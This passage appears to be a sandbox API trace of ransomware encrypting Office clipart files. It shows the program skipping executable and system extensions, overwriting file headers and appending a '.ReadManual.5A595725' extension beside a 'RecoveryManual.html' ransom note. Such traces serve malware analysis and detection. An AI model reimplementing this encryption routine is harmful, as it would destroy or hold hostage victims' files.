(lpFirst="J0153089.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.262] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.262] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.262] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.262] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.262] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.262] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.262] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.262] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.262] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.262] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.262] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.263] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.263] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.263] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.263] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF" [0267.263] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF.ReadManual.5A595725" [0267.263] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF.ReadManual.5A595725") returned 87 [0267.263] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38793309616) returned 1 [0267.264] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf")) returned 0x20 [0267.265] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.265] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7848) returned 1 [0267.265] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ea8, lpName=0x0) returned 0x184 [0267.265] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.266] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.266] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.268] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.268] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ea8) returned 0x2f0000 [0267.268] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.268] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38793668415) returned 1 [0267.268] CloseHandle (hObject=0x184) returned 1 [0267.268] SetSecurityInfo () returned 0x57 [0267.268] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.268] CloseHandle (hObject=0x194) returned 1 [0267.268] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1fc8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0153091.WMF", cAlternateFileName="")) returned 1 [0267.268] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0153091.WMF" | out: lpString1="J0153091.WMF") returned="J0153091.WMF" [0267.268] lstrcmpiW (lpString1="J0153091.WMF", lpString2="RecoveryManual.html") returned -1 [0267.268] StrStrIW (lpFirst="J0153091.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.268] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.268] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.268] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.268] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.268] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.269] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.269] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.269] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.269] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.269] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.269] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.269] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.269] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.269] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.269] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF" [0267.269] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF.ReadManual.5A595725" [0267.269] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF.ReadManual.5A595725") returned 87 [0267.269] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38793767543) returned 1 [0267.269] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf")) returned 0x20 [0267.270] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.270] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8136) returned 1 [0267.270] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1fc8, lpName=0x0) returned 0x184 [0267.270] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.271] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.271] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.272] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.273] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1fc8) returned 0x2f0000 [0267.273] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.273] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38794188044) returned 1 [0267.273] CloseHandle (hObject=0x184) returned 1 [0267.273] SetSecurityInfo () returned 0x57 [0267.273] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.273] CloseHandle (hObject=0x194) returned 1 [0267.273] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x22b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0153093.WMF", cAlternateFileName="")) returned 1 [0267.273] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0153093.WMF" | out: lpString1="J0153093.WMF") returned="J0153093.WMF" [0267.273] lstrcmpiW (lpString1="J0153093.WMF", lpString2="RecoveryManual.html") returned -1 [0267.274] StrStrIW (lpFirst="J0153093.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.274] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.274] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.274] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.274] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.274] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.274] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.274] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.274] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.274] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.274] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.274] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.274] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.274] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.274] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.274] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF" [0267.274] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF.ReadManual.5A595725" [0267.274] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF.ReadManual.5A595725") returned 87 [0267.274] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38794287749) returned 1 [0267.274] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf")) returned 0x20 [0267.274] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.275] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8880) returned 1 [0267.275] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x22b0, lpName=0x0) returned 0x184 [0267.275] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.275] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.275] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.277] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.277] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x22b0) returned 0x2f0000 [0267.278] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.278] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38794639956) returned 1 [0267.278] CloseHandle (hObject=0x184) returned 1 [0267.278] SetSecurityInfo () returned 0x57 [0267.278] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.278] CloseHandle (hObject=0x194) returned 1 [0267.278] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe78, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0153095.WMF", cAlternateFileName="")) returned 1 [0267.278] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0153095.WMF" | out: lpString1="J0153095.WMF") returned="J0153095.WMF" [0267.278] lstrcmpiW (lpString1="J0153095.WMF", lpString2="RecoveryManual.html") returned -1 [0267.278] StrStrIW (lpFirst="J0153095.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.278] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.278] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.278] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.278] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.278] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.278] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.278] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.278] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.278] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.278] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.278] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.278] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.278] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.278] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.278] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF" [0267.278] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF.ReadManual.5A595725" [0267.279] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF.ReadManual.5A595725") returned 87 [0267.279] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38794733160) returned 1 [0267.279] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf")) returned 0x20 [0267.279] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.279] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3704) returned 1 [0267.279] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe78, lpName=0x0) returned 0x184 [0267.279] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.280] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.280] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.282] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.282] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe78) returned 0x2f0000 [0267.282] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.282] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38795070627) returned 1 [0267.282] CloseHandle (hObject=0x184) returned 1 [0267.282] SetSecurityInfo () returned 0x57 [0267.282] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.282] CloseHandle (hObject=0x194) returned 1 [0267.282] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbc0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0153265.WMF", cAlternateFileName="")) returned 1 [0267.282] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0153265.WMF" | out: lpString1="J0153265.WMF") returned="J0153265.WMF" [0267.282] lstrcmpiW (lpString1="J0153265.WMF", lpString2="RecoveryManual.html") returned -1 [0267.282] StrStrIW (lpFirst="J0153265.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.282] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.282] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.282] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.282] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.283] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.283] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.283] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.283] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.283] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.283] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.283] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.283] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.283] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.283] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.283] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF" [0267.283] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF.ReadManual.5A595725" [0267.283] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF.ReadManual.5A595725") returned 87 [0267.283] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38795169836) returned 1 [0267.283] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf")) returned 0x20 [0267.283] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.283] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3008) returned 1 [0267.284] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbc0, lpName=0x0) returned 0x184 [0267.284] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.284] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.284] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.286] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.286] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbc0) returned 0x2f0000 [0267.286] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.286] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38795515486) returned 1 [0267.286] CloseHandle (hObject=0x184) returned 1 [0267.286] SetSecurityInfo () returned 0x57 [0267.287] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.287] CloseHandle (hObject=0x194) returned 1 [0267.287] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4e80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0153273.WMF", cAlternateFileName="")) returned 1 [0267.287] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0153273.WMF" | out: lpString1="J0153273.WMF") returned="J0153273.WMF" [0267.287] lstrcmpiW (lpString1="J0153273.WMF", lpString2="RecoveryManual.html") returned -1 [0267.287] StrStrIW (lpFirst="J0153273.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.287] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.287] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.287] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.287] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.287] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.287] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.287] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.287] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.287] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.287] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.287] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.287] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.287] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.287] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.287] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF" [0267.287] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF.ReadManual.5A595725" [0267.287] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft 